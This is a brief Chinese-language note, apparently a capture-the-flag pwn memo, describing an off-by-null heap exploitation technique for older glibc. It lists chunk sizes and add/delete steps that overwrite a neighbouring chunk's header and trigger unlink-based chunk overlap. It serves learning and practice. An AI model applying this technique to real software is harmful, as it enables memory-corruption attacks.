低版本的offbynull
构造三个堆块即可打
注意构造的堆块A不要放入fastbin范围内,也就是申请的时候大于等于0x80
堆块B随意都可以
堆块C也要挺大的
给定一个组合吧awa
add(0x80, b"\x0A"*10) add(0x38, b"\x0B"*10) add(0xf8, b"\x0C"*10) add(0x100, b"\x0D"*10)
D是用来放置被main合并的
步骤:
delete(A)
delete(B)
create(B)
→此处造成offbynull
然后delete(C)触发unlink